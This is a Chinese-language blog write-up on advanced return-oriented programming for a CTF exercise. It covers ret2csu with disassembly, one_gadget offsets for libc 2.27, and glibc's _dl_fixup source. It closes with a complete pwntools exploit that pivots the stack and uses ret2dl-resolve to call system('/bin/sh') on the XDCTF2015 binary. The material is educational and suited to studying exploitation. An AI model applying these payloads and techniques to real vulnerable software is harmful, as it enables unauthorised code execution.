Advance-rop
rop
一篇古老的笔记,存档。
return2csu
分析
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp
attack__payload
#构造 functionA(a,b,c);
payload='a'*offset+flat([csu_ret2,0x0,0,1,call_tar,edi,rsi,rdx,csu_ret1])+flat([0,0,0,0,0,0,0,main_addr])
onegadget libc.so.6-2.27
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ret2dl_run_time_resloved
源码
cat ./elf/dl-runtime.c
/* This function is called through a special trampoline from the PLT the
first time each PLT entry is called. We must perform the relocation
specified in the PLT of the given shared object, and return the resolved
function address to the trampoline, which will restart the original call
to that address. Future calls will bounce directly from the PLT to the
function. */
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
important section
prime@pubuntu ➜ 🍭 ret2dl-resolve readelf -S bof
#dynamic-linked important section
.rel.plt
.plt
.plt.got
.got
.got.plt
.dynsym
.dynstr
What does it look like? Let’s read ELF.
prime@pubuntu ➜ 🍭 ret2dl-resolve file bof
bof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=fbf836d803f75a6c9b6e0993bea8a800e097a53f, not stripped
.plt
| .plt.got
.plt
过程链接表,动态链接的函数都通过这个调用入口,每个函数都有一个 rel_offset
,其中 write
的重定向偏移为0x20
.rel.plt
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址,4字节
Elf32_Word r_info; // 符号表索引 ,4字节
} Elf32_Rel;
write.ELF32_Rel = {0x804A01C, 0x607}
.got
| .got.plt
.got
保存了动态链接
的变量地址,.got.plt
存动态链接函数地址。
.dynsym
| .dynstr
.dynsym
保存了动态链接符号表,.dynstr
保存了动态链接字符串。
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index) ,4bytes
Elf32_Addr st_value; // Symbol value ,4bytes
Elf32_Word st_size; // Symbol size 4bytes
unsigned char st_info; // Symbol type and binding ,1bytes
unsigned char st_other; // Symbol visibility under glibc>=2.2 ,1bytes
Elf32_Section st_shndx; // Section index ,2bytes
} Elf32_Sym
write.ELF32_Sym={0x4c,0,0,0x12,0,0}
, st_name=0x4c
prime@pubuntu ➜ 🍭 ret2dl-resolve readelf -x .dynsym bof
Hex dump of section '.dynsym':
0x080481d8 00000000 00000000 00000000 00000000 ................
0x080481e8 33000000 00000000 00000000 12000000 3...............
0x080481f8 27000000 00000000 00000000 12000000 '...............
0x08048208 52000000 00000000 00000000 20000000 R........... ...
0x08048218 20000000 00000000 00000000 12000000 ...............
0x08048228 3a000000 00000000 00000000 12000000 :...............
0x08048238 4c000000 00000000 00000000 12000000 L...............
0x08048248 2c000000 44a00408 04000000 11001a00 ,...D...........
0x08048258 0b000000 3c860408 04000000 11001000 ....<...........
0x08048268 1a000000 40a00408 04000000 11001a00 ....@...........
漏洞利用,实现无leak的getshell
- 存在栈溢出漏洞。
- 栈迁移到
bss
,为后期布局内存做准备。 - 利用
_dl_runtime_resolve
机制布局内存- 在内存中布置
fake_rel_table
、fake_sym_table
、fake_str_table
。 - 修改
rel_offset
使得Rel
定位到fake_rel_table
。 - 修改
r_info
使得符号
定位到fake_sym_table
- 修改
st_name
使得函数字符串
定位到fake_str_table
- 在内存中布置
-
Pwned!
分析程序 – bof.out
我们以调用write
为例,因为可以观察到字符串,调试方便,最后把字符串换成 system
即可。
… 后期更新
最后exp
from pwn import *
p=process('./bof')
elf=ELF("./bof")
context.arch='i386'
context.terminal=['tmux','splitw','-h']
read_plt=elf.plt['read']
main_func=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
ppp_ret=0x08048619
bss_start=elf.bss()
offset=108
stack_base=bss_start+0x800
ebp=stack_base
leave_ret=0x08048458
pop_ebp_ret=0x0804861b
plt0=0x08048380
rel_plt=0x08048330
fake_sym=stack_base+0x80
rel_index=stack_base+0x60-rel_plt
dyn_sym=0x80481D8
dyn_str=0x08048278
sym_index=(stack_base+0x88-dyn_sym)/0x10
r_info=(sym_index<<8)+7
log.success('r_info:%x'%r_info)
fake_reloc=flat([write_got,r_info]) # at stack_base+0x60
st_name_offset=stack_base+0xa0-dyn_str
fake_sym=flat([st_name_offset,0,0,12]) # at stack_base+0x80
log.success('stack_base:%x'%stack_base)
log.success('dyn_sym:%x'%dyn_sym)
# migrate stack
p.recvuntil('Welcome to XDCTF2015~!\n')
payload='a'*offset+flat([
ebp,read_plt,ppp_ret,0,stack_base,0x200,pop_ebp_ret,stack_base,leave_ret]
)
p.sendline(payload)
sleep(0.1)
#gdb.attach(p,'b *main\n')
cmd='/bin/sh;\x00'
payload2=flat([
'a'*4,
plt0,
rel_index,
0xdeadbeef, #any_ret
stack_base+0x40, # cmd string is here
])
payload2+='b'*(0x40-len(payload2))
payload2 += cmd
payload2 += 'b'*(0x60-len(payload2))
payload2+=fake_reloc
payload2+='b'*(0x88-len(payload2))
payload2+=fake_sym #stack_base+0x80
payload2+='b'*(0xa0-len(payload2))
payload2+='system\x00'
p.sendline(payload2)
p.interactive()
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
文章标题:Advance-rop
本文作者:枫云李
发布时间:2019-11-07, 09:50:48
最后更新:2020-03-28, 19:14:17
原始链接:https://primelyw.github.io/2019/11/07/Advance-rop/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。